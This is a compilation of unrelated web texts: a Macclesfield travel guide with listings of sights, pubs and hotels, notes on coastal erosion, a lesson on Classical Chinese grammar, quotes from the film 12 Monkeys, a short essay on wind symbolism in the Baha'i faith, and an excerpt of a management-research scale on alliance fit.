Division on your headphones and expect a correspondingly grim Northern town to match, you're in for a pleasant surprise. Pay your respects to Ian, of course, but if you take the time to see more of Macclesfield you'll probably understand why it's a popular home for many top earners in Liverpool and Manchester, including some of City’s and United’s finest. The town centre is mostly built around Mill Street and has very little architectural merit. As with many towns it has declined, but redevelopment is continuing. To the south of the centre is the High Street conservation area. To the south, west and north are mostly residential areas, with an industrial estate and more residential housing east of the Silk Road (A523), the main north-south route through Macclesfield. This runs in a valley alongside the River Bollin and the railway line. To the east the land rises steeply as you leave Macclesfield and enter the Peak District. There is a visitor information office in part of the new Town Hall facing Market Place. 53.2595-2.12171 Macclesfield station is on the main train line between London Euston and Manchester and is easily accessed from by high-speed trains (Manchester 20 minutes, London 1 hour 45 minutes). Some Cross Country services between Manchester and Birmingham also call at Macclesfield. Local stopping services are available to Manchester and Stoke-on-Trent. The train station is just to the east of the town centre and the main shopping area. The nearest motorway is the M6. From the north, take Junction 19, and travel through Knutsford. From the south, use Junction 17 and follow the signs for Congleton until Macclesfield is signposted. In either direction, the distance from the motorway is about 15 miles (25 km). From the east, the main road into the town is the A537 from Buxton, known as the Cat and Fiddle road after the pub at its summit. It is a scenic route, but in winter it is occasionally impassable. Manchester Airport (MAN IATA) is 12 mi (19 km) away. By taxi the fare is typically about £25 if pre-booked. There is no direct train or bus service from the airport but there are frequent trains into Manchester Piccadilly with connections to Macclesfield. Alternatively the 199 bus connects with Stockport from where you can take a 392/3 bus or train. The town centre is easily traversable by foot. Buses to suburbs and nearby towns depart from the bus station on Queen Victoria Street. From the train station, cross the road to Waters Green and follow this up the hill and round to the left. Nowhere in Macclesfield is completely flat and some parts are rather steep, but every so often you’ll see a view of the hills that makes it all worth while. Be aware that cobbled streets can be slippery when wet. 53.25991-2.12341 The 108 Steps (descends from Churchside SE of the church to Waters Green next to the Old Millstone Inn). Stairs between Waters Green and the town centre that are a beloved local landmark. (updated Aug 2015) 53.26563-2.137462 Macclesfield Cemetery, Prestbury Road (enter at gates and lodge on N side of road 800 ft (250 m) W of A537 roundabout), ☏ +44 1625 383946, [email protected]. 9AM-dusk daily. The grounds are pretty; the ornate stone gates, lodge and chapel are all listed, and there are many veterans of World Wars I and II buried or interred here, including Victoria Cross recipient George Harold Eardley. But the main attraction for visitors is the grave of Joy Division lead singer Ian Curtis, on the walkway next to the trees a short distance from the crematorium and car park. It's very simple, marked with his name, date of death and "Love Will Tear Us Apart", the single that became a hit after his suicide. There's often memorabilia left there, but not so much that it detracts from the experience of contemplating his final resting place whilst listening to 'The Eternal' or another of Joy Division's darker songs. (updated Aug 2015) 53.26031-2.124593 St Michael and All Angels Church, Market Place (in centre of town, next to Town Hall on Mill Street opposite Chestergate), ☏ +44 1625 421984, [email protected]. Its dark stone tower visible from much of the town, and looming over the rail station car park, St Michael's is the building most identified with Macclesfield. A grade II* listed building, the current edifice was built in Victorian Gothic style between 1898 and 1901, replacing the Georgian-style 1740s church (which itself was built on the site of a 13th-century church) but retaining two late mediaeval chapels. Some gravestones from the 1700s remain but have been relocated, and there are great views to the east from Churchside, the road that runs around the church, and neighbouring Sparrow Park. (updated Feb 2018) Silk Museum and Paradise Mill, Park Lane, SK11 6TJ, ☏ +44 1625 612045, [email protected]. Mill: M-Sa noon and Sa 1PM (by guided tour only), Museum: M-Sa 10AM-3PM. The museum tells the story of silk and its association with Macclesfield. The mill contains 26 original Jacquard looms, some of which are still usable, and other machinery used for silk working. Entrance to the mill is by tour only, booking is advised. There are some limitations for visitors with mobility restrictions. There is a tea room and museum shop. (updated Feb 2018) Old Sunday School (Heritage Centre), Roe Street, SK11 6UT, ☏ +44 1625 613210, [email protected]. M-Sa 10AM-4PM. Built in 1814 to provide a purpose-built school for over 2 000 local children, most of whom worked in the mills from the age of 6 onwards. It now serves as a community hub, including Cinemac (see below), and is host to the Northern Chamber Orchestra on occasion. (updated Feb 2018) Unitarian Chapel. A Grade II* listed building dating from the 17th century. Still in regular use. (updated Feb 2018) 53.26302-2.136574 West Park Museum, Prestbury Road, SK10 3BJ, ☏ +44 1625 612045, [email protected]. Usually open during school holidays; otherwise by special appointment only whilst the building undergoes refurbishment.. A small and personal collection of Egyptian artefacts and fine art. Highlights include a child’s mummy case and a stuffed panda. Free. (updated Feb 2018) Barracks Square (Armoury Towers), Off Crompton Road, SK11 8HF. A former military installation, long since in other use. Privately owned, but accessible (externally). (updated Feb 2018) High Street conservation area. The small network of roads to the south of Park Lane is an example of early industrial planned housing and is a conservation area. (updated Feb 2018) Weavers’ cottages (Look for these on Paradise Street and elsewhere.). These are generally terraced houses with the top floor or loft used for loom-weaving. They have distinctive large windows on this floor to maximize the light. (updated Feb 2018) Street art. Macclesfield has acquired several pieces of gable-end art, particularly in the Sunderland Street area (the nearest you’ll get to an edgy cultural quarter). (updated Feb 2018) 53.283-2.2365 Nether Alderley Mill, Congleton Rd, Nether Alderley SK10 4TW. Closed in 2021. There was a mill here in 1290, but replaced by the present building in the 16th century, and the machinery is Victorian. It's an attractive pink sandstone building, with a ski-slope of a slate roof, backing onto its reservoir. The water powered three overshot wheels to grind corn, and two are still working. (updated Jul 2021) Middlewood Way (access from various points, starting from Black Lane at the exit from the Tesco superstore). This former railway line has been reclaimed to provide 7 miles (11km) of greenway for walkers, cyclists and horse riders. Stretching from Macclesfield to Marple it connects with many other footways and is reasonably well surfaced for accessible use. (updated Feb 2018) Macclesfield Canal (access from various points). Macclesfield Canal runs between Marple to the north, and Scholar Green to the south, passing through the eastern edge of the town. It forms part of the Cheshire Ring (125 miles/200 km, 110 locks) which passes through some spectacular scenery. Freedom Boats on Brook Street offers canal boat hire. The canal is also popular with walkers and the occasional cyclist as it runs in parallel with the Middlewood Way – ideal for round trips. (updated Feb 2018) Barnaby Festival. Takes place every two years in June, in and around town. Typically consists of art displays, community events and a parade. (updated Feb 2018) Bluedot Festival. At nearby Jodrell Bank, every July. Science and music festival. (updated Feb 2018) Rewind North. Music festival, every August, usually held near to the town. (updated Feb 2018) The Snow Goose, Sunderland Street, SK11 6HN. Live music most weeks and occasional community events. Check the colourful notices in front of the bar for more information. (updated Feb 2018) The Treacle Tap, Sunderland Street, SK11 6JL. Hosts a number of groups (books, photography, stitching and others). (updated Feb 2018) MADS (Macclesfield Amateur Dramatic Society), Lord Street, SK11 6SY. A small but well-attended theatre offering several shows each year. (updated Feb 2018) Cinemac. Macclesfield’s answer to the lack of a “proper” cinema. Housed on the second floor of the Old Sunday School, it’s essentially a converted hall with a single screen, 230 cinema seats and digital projection equipment, to allow the latest films and live events (e.g. from the National Theatre, Royal Opera House, ballet, etc) to be shown. Access is by stairs or lift, and a hearing loop is available. Refreshments may be purchased, including tea, coffee, prosecco, wine, beer and spirits, and may be taken into the auditorium. Ticket prices are very reasonable, especially on Sundays and Mondays when all tickets are £3.50 (March 2019). The nearest alternative cinema is 10 miles (15 km) away in Stockport. (updated Feb 2018) Parks. West Park (next to Sainsburys superstore) has a large children’s play area, a skateboard circuit and a bowling green. South Park has a small lake, a bandstand, skate/BMX bowl plaza, bowling green, 18-hole pitch & putt course, tennis and netball courts. Victoria Park (east of the Silk Road) has an aviary, bowling green, bandstand and small football pitch. Riverside Park, a Local Nature Reserve, follows the Bollin Valley to the west of Tytherington (main entrance via Beechwood Mews, off Manchester Road, near Tytherington School). (updated Feb 2018) 53.26085-2.121781 Arighi Bianchi, The Silk Road (E side of road 100m N of train station), ☏ +44 1625 613333, [email protected]. M-F 9:30AM-5PM. The best-known shopping destination in Macclesfield is this furniture maker's shop, started by two Italian immigrants in the mid-19th century. Even if you're not in the market, consider going by just to see out the shop itself, a listed building with a cast-iron and glass front inspired by London's Crystal Palace. The furniture is pretty expensive but there’s a nice café. (updated Oct 2015) Mill Street. The town's main shopping street, primarily home to chain stores, running from Market Place, past the Grosvenor indoor shopping centre and market, down to Park Green. Chestergate. The town's second shopping street, running west from Market Place, with many local boutiques and independent shops. Treacle Market. Street vendors pour into the centre of Macclesfield on the last Sunday of every month (or the Sunday before Christmas) for this event, named for an incident in the town's past when an overturned load of treacle was eagerly scooped up by the local poor – hence the nickname “Treacle Town”. Many interesting goods for sale and idiosyncratic foods for consumption. Local restaurants that are otherwise closed Sundays maintain limited hours for this event, as well. 53.26144-2.129551 Aquila Bacaro, 46 King Edward Street (SW corner of Westminster St intersection), ☏ +44 7534 077289, [email protected]. M-Sa 10AM-late, Su 4-9:30PM (10AM-9PM last Su of month). Small restaurant emulating Venetian atmosphere and cuisine £5–10. (updated Oct 2015) 53.25977-2.124972 Cherry Blossom Bakery, 6 Church Street (20 m S of Churchside on E side of street), ☏ +44 1625 615999, [email protected]. M-F 9AM-5PM, Sa 9AM-4PM, last Su of month 10AM-4PM. Local bakery with many sweet and cakes in centre of town is a popular tea spot (updated Oct 2015) 53.26078-2.12863 Chestergate Bistro, 66 Chestergate (20 m W of Churchill Way on S side of street), ☏ +44 1625 611103. Tu-F noon-2PM, 5:30PM-late; Sa noon-2:30PM, 5:30PM-late. Small restaurant serving traditional British cuisine for lunch and dinner on Macclesfield's major shopping street Lunch £6, dinner £10–15. (updated Oct 2015) 53.25737-2.122674 Maliwan, 47-49 Sunderland St (15 m S of Pickford St on W side of street), ☏ +1625 422 595. Tu-Th Su 5:30-10:30PM; F Sa 5:30-11PM. Small but well-regarded Thai place in south town centre £15–20. (updated Oct 2015) 53.26076-2.13055 The New Shalimar, 98–100 Chestergate (30 m E of Catherine St on S side), ☏ +44 1625 435400. Su-Th 5:30-11PM, F Sa 5:30PM-midnight. Macclesfield's most prominent Indian restaurant, with take-away available £15–20. (updated Oct 2015) 53.25975-2.128336 Rustic Coffee Co., 2, Church Mews, Churchill Way (S of the Esso station on the W side of the road opposite Stanley St), ☏ +44 1625 423202, [email protected]. Tu-F 8:30AM-14:30PM, Sa 9AM-4PM, last Su of month 10AM-3PM. Coffeehouse, opened 2013, serving breakfast sandwiches and lunch. £5–10. (updated Oct 2015) 53.25962-2.125187 The Salt Bar, 23b Church Street (At the SW corner where the street bends between Waters Green and the church), ☏ +44 1625 432221, [email protected]. Tu-Sa 5-11PM, also F Sa noon-3PM; last Su of month 11:30AM-4PM. Scandinavian food with local ales on tap. £11-25. (updated Oct 2015) 53.24072-2.11288 Sutton Hall, Bullocks Lane, Sutton, SK11 0HE, ☏ +44 1260 253211, [email protected]. M-Sa 11AM-11PM, Su 11AM-10:30PM (no food service during last 90 min). 500 year old manor house, nicely converted into a rambling restaurant. (updated Feb 2018) 53.26087-2.127361 [formerly dead link] The Bate Hall, 39 Chestergate (50 m E of Churchill Rd on N side), ☏ +44 1625 611445, [email protected]. M-Th noon-11PM, F Sa 11AM-midnight, Su noon-5PM. The city's oldest pub serves a menu with many burger, steak and curry options plus desert. (updated Sep 2015) 53.25703-2.122682 [dead link] The Jolly Sailor, 63 Sunderland St (NW corner of Pickford St intersection), ☏ +44 1625 402040, [email protected]. M noon-midnight, Tu W 3-11AM, Th noon–11AM, F-Su noon-midnight. Traditional 1830s pub with jazz and blues music, fire downstairs; plasma and Space Invaders upstairs. (updated Sep 2015) 53.26094-2.128793 [dead link] The Swan with Two Necks, 65 Chestergate (25 m W of Churchill Rd on the NW corner of the Little St intersection). Noon-1AM. A warm and welcoming pub with drinks at decent prices (cheaper than the other pubs in Macclesfield but have a much wider range of drinks). Live bands play nearly every weekend and the music ranges from Indie to Metal to Tribute bands. 53.25732-2.122374 The Snow Goose, 52/54 Sunderland Street, SK11 6HN, ☏ +44 1625 619299, [email protected]. M 11AM-midnight, Tu-Sa 9:30AM-midnight, Su 11AM-11PM. A quirky place with lots of interesting stuff in several rooms. Local art and craft, live music and other events, as well as a bar and a limited selection of food. (updated Feb 2018) 53.25775-2.122635 The Treacle Tap, 43 Sunderland Street, SK11 6JL, ☏ +44 1625 615 938, [email protected]. M-Th 4-11PM, F Sa noon-midnight, Su noon-11PM. A small modern place serving local and craft beers and food. Also hosts a number of local clubs and events. (updated Feb 2018) 53.25649-2.123296 Red Willow Brewery and Bar, 32a Park Green, SK11 7NA, ☏ +44 1625 503253. Tu-Th 4-11PM, F 3PM-midnight, Sa noon-midnight, Su noon-1:30PM. Pizzas and locally brewed beer. (updated Feb 2018) 53.24095-2.072637 Leather’s Smithy, Clarke Lane, Langley, SK11 0NE, ☏ +44 1260 252313. M-F noon-3PM, 6-10PM, Sa noon-11PM, Su noon-8PM. Country pub on the edge of Macclesfield Forest and next to the Ridgegate Reservoir. Popular with walkers and cyclists. Large selection of whiskies. (updated Feb 2018) 53.26481-2.126921 [formerly dead link] Chadwick House Hotel, Beech Lane (E side of road 150 m N of A538), ☏ +44 1625 615558. B&B style guesthouse close to the town centre. £38-59. 53.31255-2.172942 Mottram Hall, Blackhurst Brow, Mottram St Andrew (Driveway NE off Wilmslow Road 500 m E of Prestbury Road), ☏ +44 1625 828135. Decadent 18th Century country house, 6 miles north-west of the town. £80-195. (updated Sep 2015) 53.24225-2.151113 Premier Inn Macclesfield South West, Congleton Rd (On W side of A536 approximately 3.5 mi SW of town centre), ☏ 0871 527 8696 (high cost number). Budget chain hotel on the outskirts of town. £34-76. (updated Sep 2015) 53.26066-2.123074 Travelodge Macclesfield Central, Gas Rd (50 m N of Waters Green across from rail station), ☏ 0871 984 6432 (high cost number). Macclesfield branch of the budget hotel chain. Opposite the train station. £15-55. (updated Sep 2015) Bollington A large village adjoining Macclesfield, locally nicknamed “Happy Valley”. The sights include several 19th century mills (factory style, not windmills) built for cotton spinning and related uses, now converted mainly for accommodation. White Nancy is a small monument commemorating the Battle of Waterloo on top of Kerridge Hill. As the name suggests it is painted white, though occasionally redecorated (officially or unofficially). Prestbury A village adjoining Macclesfield. One of the UK’s most expensive areas to live outside central London. The village centre is picturesque and you can glimpse the mansions of the rich and famous, if you so choose. Alderley Edge A large village west of Macclesfield, home to numerous wealthy residents including at one time the Beckhams. The village sits at the bottom of an escarpment (“The Edge”) which was first mined for copper in the Bronze Age, some 5000 years ago, with occupation going back twice as far. The area is popular for walking in the woods and there are far-reaching views from the sandstone ridge. Poynton A large village north of Macclesfield, home to coal workings from the 16th century onwards, The “inclines” (tramways lines for moving the coal) are still evident in places. The Anson Engine Museum has over 250 gas, oil and steam engines, many still working. Macclesfield Forest A working, mostly coniferous forest with reservoirs supplying water to Macclesfield. Stunning views and many good walks, including to Shutlingsloe, the local peak. Teggs Nose A local country park with great views over the surrounding countryside. The site was formerly used as a quarry, and much of old Macclesfield is paved with its stone. The remnants of quarry equipment are still lying around. Hare Hill A walled garden owned by the National Trust. Jodrell Bank Discovery Centre Home to one of the world’s largest steerable radio telescopes, built in1957 (using gun turret mechanisms from scrapped battleships to drive it). There are three discovery pavilions of especial appeal to children. Jodrell Bank also hosts festivals such as Bluedot. Gawsworth Hall A nearby hall and gardens. Open air theatre and concert venue. Capesthorne Hall A nearby hall and gardens. Hosts various events and is a popular wedding venue. Lyme Park The largest house in Cheshire, now owned by the National Trust. Set in extensive grounds (free access from surrounding footpaths). Famously used as the exterior of Pemberley in “Pride and Prejudice”, though the scene with Mr Darcy emerging from the lake in a wet shirt wasn’t really filmed there. If you haven't come from there, Manchester, England's second largest city, is a short distance to the north. Perceived by those who've not visited as a dismal post-industrial wasteland, whereas the reasons to visit—clubs, restaurants, shopping, museums—are too numerous for even a short list here to do the place justice. Off to the east is the Peak District. After taking in the splendid scenery and trekking to your heart's content, either camping out overnight or staying in Buxton, you might want to continue on to Sheffield, another post-industrial Northern city with more to offer than that description suggests. West of Macclesfield one eventually gets to Chester, with its quaint medieval architecture and walls. It's an excellent stopover for travellers heading into Wales, a short distance away. Almost as close to Macclesfield to the south as Manchester is to the north is Stoke-on-Trent. Once home to a thriving pottery industry it is now a destination with museums and gardens and a thick streak of local pride. Smaller towns in the area include Congleton (“Bear Town”), Leek, Wilmslow and Knutsford.
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Several factors affect the coast: Atmospheric factors, marine factors and geological factors. Climate: A hot, wet climate facilitates chemical weathering of rocks. This weakens the structure of rocks at the coast, lowering their resistance. This leaves them more vulnerable to wave erosion. Wind speed: Higher wind speed creates waves with greater erosive power. Wind direction: Wind direction determines the path of a wave. Along with the shape of the coastline and its properties, it determines the fetch. Fetch refers to the distance of open water over which a wave has travelled (i.e. without obstacles). The greater the fetch, the greater the wave energy. During during wind has been blowing from a direction: If the wind has been blowing from a single direction for a long time, the waves will have greater erosive power. Shape of coastline: Wave refraction describes how wave energy tends to concentrate at headlands and disperse at bays. At headlands, waves are more concentrated. Destructive waves are formed and erosion usually occurs. At bays, waves are less concentrated. Constructive waves are formed and deposition usually occurs. Outlying islands: They reduce fetch. Therefore, an area of the coastline with outlying islands is likely to experience constructive waves and wave deposition. Shore gradient: If there is a steeper shore gradient, the waves will break nearer to the coast. Less energy is spent on overcoming friction against the seabed. The energy and erosive power are greater. The waves thus tend to be destructive waves causing erosion. Rocks with many joints or cracks are more vulnerable to hydraulic action. This increases the rate of erosion. Rocks with soluble minerals are more prone to solution. This increases the rate of erosion. Rocks with minerals of varying resistance are more prone to salt sprays from seas which cause honeycomb erosion.
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Classical Chinese is a very succinct and potent language. Its efficiency at conveying information rests on 2 pillars of the language. The fact that most words, whether verb, noun, pronoun, adjective, or adverb, are composed of a single character, and its use of implicit, or already stated, knowledge. Also, there is no punctuation in Classical Chinese, though there is a similar system that will be discussed. Below, the basics of word order, nouns, verbs, adjectives, and adverbs of Classical Chinese will be discussed. Classical Chinese's basic structure is similar to English. It is on a basic level Subject-Verb-Object (SVO), like English. The king rules the state. In this English sentence, the subject is king, the verb is rules, and the object is state. In Classical Chinese, 王wáng治zhì國guó the king rules the state (literally, "king rule state") Here, the subject is wáng 王 "king", the verb zhì 治 "rule", and the object is guó 國 "state". Though English and Classical Chinese share the same basic word order, notice that Classical Chinese does not use anything equivalent to the, a, or an, like Latin. Modifiers, such as adjectives and adverbs, precede the word they modify. 良liáng藥yào苦kǔ口kǒu good medicine tastes bitter (lit. "good medicine bitter taste") We can see here the adjective liáng 良 "good" coming before the noun yào 藥 "medicine", which it describes; likewise the adverb kǔ 苦 "bitter" precedes the verb kǒu 口 "taste". Nouns in Classical Chinese are usually a single character. Most multi-character nouns you will encounter are usually foreign loanwords or names. This helps contribute to Classical Chinese's brevity. In addition to this, plural nouns are not usually marked. Nouns can be understood to be plural from context or from attached adjectives. 鳥niǎo飛fēi lit. "bird fly" This can be interpreted as "the bird flies" or "the birds fly". 楚chǔ有yǒu多duō鳥niǎo lit. "Chu have many bird" The noun niǎo 鳥 "bird", is understood to be plural in this sentence because of the adjective duō 多 "many; multiple". So: "Chu has many birds". 國guó只zhǐ有yǒu一yī王wáng lit. "country only have one king" The noun wáng 王 "king", is understood to be singular in this sentence because the numeral yī 一 "one", precedes it. So: "A country only has one king." Like nouns, the vast majority of verbs in Classical Chinese are single characters. Unlike English, which still retains various tenses for verbs, Classical Chinese has no tenses, conjugations, or agreement for verbs; an unmarked verb can refer to a past action, a current one, a habitual one, or sometimes one that will occur in the future. 兵bīng食shí soldier eat This is could be any tense because there is nothing suggesting that this occurred or will occur; there is no way of being certain of the time frame of this action. Like nouns, we can sometimes infer the tense of a verb with the information in the sentence. 茲zī父fù休xiū now father rests The father here is understood to be presently resting because of the word zī 茲 "now" indicating that the action is taking place currently. 昨zuó公gōng習xí論lún yesterday the duke studied the Analects We know the duke to have been studying in the past because of the given information; zuó 昨 "yesterday" sets the information that is part of its clause and after it in the past, specifically the previous day. Adjectives in Classical Chinese are also similar to the way they are used in English. The adjective usually goes before what is being described. 樂老走市 (le4) (lao3) (zou3) (shi4) The happy old man walks to the market. The subject is 老, old man, and what describes him, 樂, happy, comes before. 悲王不言 (bei1) (wang2) (bu4) (yan2) The grief-stricken king does not speak. Adverbs go before the verb they modify, whereas in English, adverbs sometimes go before or after the verb. 兵響號 (bing1) (xiang3) (hao4) The soldier screams loudly 號, to roar, is the verb which 響, loudly, modifies. 竹高長 (zhu2) (gao1) (zhang3) The bamboo grew tall. Return to Lesson Page
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12 Monkeys is a 1995 science-fiction time-travel movie about a convict, sent back in time to find the source of a devastating plague believed to have been released by the Army of the Twelve Monkeys, but who is sent too far back and is hospitalized as insane. Directed by Terry Gilliam. Written by David Webb Peoples and Janet Peoples, inspired by the short film La Jetée. The future is history. Taglines Oh, wouldn't it be great if I was crazy? Then the world would be okay. It's just like what's happening with us, like the past. The movie never changes. It can't change; but every time you see it, it seems different because you're different. You see different things. All I see are dead people. Games, games. Here's some games. Games you wanna get out. Ha! See, more games. Games, they vegitize you. If you play the games, you're voluntarily taking a tranquilizer...Drugs! What'd they give you? Thorazine? Haldol? How much? Learn your drugs — know your doses. It's elementary... Telephone call? Telephone call? That's communication with the outside world. Doctor's discretion. Nuh-uh. Look, hey — if all of these nuts could just make phone calls, they could spread insanity, oozing through telephone cables, oozing into the ears of all these poor sane people, infecting them. Wackos everywhere, a plague of madness. In fact, very few, very few of us here are actually mentally ill. I'm not saying you're not mentally ill, for all I know, you're crazy as a loon. But that's not why you're here. That's not why you're here. That's not why you're here! You're here because of the system. There's the television. It's all right there — all right there. Look, listen, kneel, pray. Commercials! We're not productive anymore. We don't make things anymore. It's all automated. What are we for then? We're consumers. Yeah. Okay, okay. Buy a lot of stuff, you're a good citizen. But if you don't buy a lot of stuff, if you don't, what are you then, I ask you? What? Mentally ill. Fact, Jim, fact — if you don't buy things: toilet paper, new cars, computerized yo-yos, electrically-operated sexual devices, stereo systems with brain-implanted headphones, screwdrivers with miniature built-in radar devices, voice-activated computers... So if you want to watch a particular television program, say 'All My Children' or something, you go to the Charge Nurse and tell her day and time the show you want to see is on. But you have to tell her before the show is scheduled to be on. There's this guy and he's always requesting shows that had already played. Yes, no. You have to tell her before. He couldn't quite grasp the idea that the Charge Nurse couldn't make it be yesterday. She couldn't turn back time, thank you, Einstein. Now he, he was nuts. He was a fruitcake, Jim! And when my father finds out I'm in this kind of place, he'll have them transfer me to one of those classy joints where they treat you properly, like a person, like a guest. With sheets and towels like a big hotel, with great drugs for all of us nut-case, lunatic, maniac devils. You are a total nutcase, completely deranged, delusional, paranoid. Your thought process is all fucked up. Your information tray is jammed, man! Sorry. Uh, sorry. I, I, I got a little agitated. The thought of, uh, escape had crossed my mind, and then suddenly — suddenly — suddenly I felt like bending the fucking bars back, and ripping out the goddamn window frames and eating them — yes, eating them! Leaping, leaping, leaping! Colonics for everyone! All right! You dumbasses. I'm a mental patient. I'm supposed to act out! Wait'll you morons find out who I am! My father's gonna be really upset, and when my father gets upset, the ground SHAKES! My father is God! I worship my father! Cassandra in Greek legend, you recall, was condemned to know the future but to be disbelieved when she foretold it. Hence the agony of foreknowledge combined with the impotence to do anything about it. He's been living in a meticulously constructed fantasy world, and that world is starting to disintegrate. He needs help. Dr. Peters: I think, Dr. Railly, you have given your "alarmists" a bad name. Surely there is very real and very convincing data that the planet cannot survive the excesses of the human race: proliferation of atomic devices, uncontrolled breeding habits, the rape of the environment, the pollution of land, sea, and air. In this context, isn't it obvious that "Chicken Little" represents the sane vision and that Homo Sapiens' motto, "Let's go shopping!" is the cry of the true lunatic? Poet: Yet among the myriad microwaves, the infra-red messages, the gigabytes of ones and zeroes, we find words, byte-sized now, tinier even than science lurking in some vague electricity, but if we but listen we can hear the solitary voice of that poet telling us, "Yesterday This Day's Madness did prepare; Tomorrow's Silence, Triumph or Despair: Drink! for you know not whence you came, nor why: Drink! for you know not why you go, nor where." L.J. Washington: I don't really come from outer space. Jeffrey Goines: Oh. L.J. Washington. He doesn't really come from outer space. L.J. Washington: Don't mock me, my friend. It's a condition of mental divergence. I find myself on the planet Ogo, part of an intellectual elite, preparing to subjugate the barbarian hordes on Pluto. But even though this is a totally convincing reality for me in every way, nevertheless Ogo is actually a construct of my psyche. I am mentally divergent in that I am escaping certain unnamed realities that plague my life here. When I stop going there, I will be well. Are you also divergent, friend? James Cole: This is a place for crazy people. I'm not crazy. Dr. Peters: We don't use the term "crazy," Mr. Cole. James Cole: Well, you've got some real nuts here. Jeffrey Goines: You know what crazy is? Crazy is majority rules. Take germs, for example. James Cole: Germs? Jeffrey Goines: Uh-huh. Eighteenth century: no such thing, nada, nothing. No one ever imagined such a thing. No sane person. Along comes this doctor, uh, Semmelweis, Semmelweis. Semmelweis comes along. He's trying to convince people, other doctors mainly, that's there's these teeny tiny invisible bad things called germs that get into your body and make you sick. He's trying to get doctors to wash their hands. What is this guy? Crazy? Teeny, tiny, invisible? What do they call it? Uh-uh, germs? Huh? What? Now, up to the 20th century — last week, as a matter of fact, before I got dragged into this hellhole — I go in to order a burger at this fast-food joint, and the guy drops it on the floor. James, he picks it up, he wipes it off, he hands it to me like it's all OK. "What about the germs?" I say. He says "I don't believe in germs. Germs is a plot made up so they could sell disinfectants and soaps." Now he's crazy, right? See? Ah! Ah! There's no right, there's no wrong, there's only popular opinion. You... you... you believe in germs, right? James Cole: Look at them. They're just asking for it. Maybe the human race deserves to be wiped out. Jeffrey Goines: Wiping out the human race? That's a great idea. That's great. But more of a long-term thing. I mean, first we have to focus on more immediate goals. Dr. Owen Fletcher: Kathryn, you're a rational person. You're a trained psychiatrist. You know the difference between what's real and what's not. Dr. Kathryn Railly: And what we say is the truth is what everybody accepts. Right, Owen? I mean, psychiatry: it's the latest religion. We decide what's right and wrong. We decide who's crazy or not. I'm in trouble here. I'm losing my faith. The future is history. They're coming. I've never seen La Jetee. If I do something based on something else I make it a principle not to read or see the original: I'll be intimidated by it, or I'll feel an awesome sense of responsibility. So I avoid that problem. There was something about the idea that people putting layer upon layer to protect themselves from a potential infection, end up in a sense isolating themselves from one another. And I became obsessed with that. The locations I've used were old disused power stations around Philadelphia and Baltimore. Nuclear plants, factories, power stations: "cathedrals of technological progress." I've always had a problem with the belief that technology was going to solve all of our problems; so I'm drawn to shooting in those places, particularly for this film, which is about decay and about nostalgia. These great spaces were considered to be providing the solution to all of our problems, yet now they're just wasted, lying there, rotting. And that seemed very much what a lot of the film was about. About putting your faith in the wrong things. Television seems to be ubiquitous in "Twelve Monkeys". Every scene has got a television screen in it doing something. It's because I think television is this awful mirror that we all look into every day, but it distorts the reflection and I hate it. It trivializes life. Rather than really enlightening us, it ends up just dragging us down to the lowest, into the boring and the tedious. And however much you try to resist it, you begin to believe the world really is that way. So we've included it in the film. And it shows commercials that are doing strange things, and cartoons, which works very nicely as a juxtaposition to some of the scenes that are going on. Terry Gilliam, "Terry Gilliam on "Twelve Monkeys"" by Henri Béhar, Filmscouts. Bruce Willis - James Cole Madeleine Stowe - Kathryn Railly Brad Pitt - Jeffrey Goines Jon Seda - Jose Christopher Plummer - Dr. Goines Frank Gorshin - Dr. Fletcher David Morse - Dr. Peters Wikipedia has an article about: 12 Monkeys 12 Monkeys quotes at the Internet Movie Database 12 Monkeys at Rotten Tomatoes Movie review by Roger Ebert
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In the Baha'i faith, the wind is a thing that we can't control. Sometime's it is soothing or invigorating. But, other times it is contrary. Wind teaches us important lessons about the stability of the Sun. Remember, the Sun is the symbol of truth. Truth will never contradict truth. Therefore, The Sun can unify us and keep us safe during adverse winds. But, the Sun should also be used as a source of comfort when times are good. The wind directly effects most of the nature symbols in the Baha'i faith. It blows through the trees, flowers, mountains and streams. The wind can invigorate the other nature symbols. Or it can destroy everything in it's path. It is a source of unity through truth as well as through hardship. It doesn't actually effect celestial symbols like the stars and the moon. But, it can impact the visibility of the Sun. Baha'u'llah paced a lot of importance on spreading the word of God. Remember, he started out with a tiny little faith. So, he used the wind as an analogy for spreading the text. He said "Consider, how the wind, faithful to that which God hath ordained, bloweth upon all the regions of the earth, be they inhabited or desolate." The wind blows on the whole world without racial or national prejudice. The wind has no regard for who will gain or loose material wealth as a result of it's temperament. Abdu'l-Baha viewed the wind as one of several sources of unity. It blows on every creature in the garden of God. He spoke of flowers and said "Though differing in kind, color, form, and shape, yet, inasmuch as they are refreshed by the waters of one spring, revived by the breath of one wind, invigorated by the rays of one sun, this diversity increaseth their charm, and addeth unto their beauty." So, he viewed the wind as something that could revive communities through spiritual acts. Multi Fest Baha'i Library Charles Black, "The Symbolism of the Wind", Multi Fest Abdu'l-Baha, "Material and Spiritual Cycles", Some Answered Questions Bahá’u’lláh, "CLXI", Gleanings from the Writings of Bahá’u’lláh Abdu'l-Baha, "Tablet to the Bahá’ís of the United States and Canada", Tablets of the Divine Plan
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To measure the construct, the authors relied on scale items previously used by Harrigan (1988), Kale et al. (2000), and Parkhe (1991). Strategic fit relates to the alignment of aspects like merits of partners’ complementary resources, compatible businesses, and congruent strategic objectives (Das & Teng, 1997; Harrigan, 1988; Kale, Singh, & Perlmutter, 2000; Parkhe, 1991). In this alliance, the firm and this partner: Have a shared understanding of the alliance’s value proposition. (0.80) Have aligned objectives. (0.79) Operate in similar market segments (e.g., target the same customers). (0.64) Have compatible technologies, platforms, and/or products that can work together. (0.75) Have complementary skills and capabilities which together can create more value. (0.83) Have expertise compatible with each other’s technologies, platforms and/or products. (0.71) Share a similar vision about industry trends (e.g., dominant platforms, potential of emerging technologies, emerging markets). (0.77) Lavie et al. 33, No. 13, pp. 1453–1479 Items 4 and 7 might relate to operational rather than strategic fit.
